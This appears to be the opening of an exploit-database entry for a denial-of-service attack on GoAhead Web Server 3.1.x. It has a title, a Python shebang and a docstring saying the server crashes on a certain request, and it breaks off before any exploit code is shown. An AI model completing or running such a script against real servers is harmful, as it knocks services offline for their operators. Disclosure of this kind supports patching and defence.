GoAhead Web Server 3.1.x - Denial of Service

#!/usr/bin/python

'''

GoAhead Web Server version prior to 3.1.3 is vulnerable to DoS. A fix exists for version 3.2.

The Web Server crashes completely once this requests is received. The vulnerability doesn't seem to be exploitable on Linux versions ... could be wrong :) !
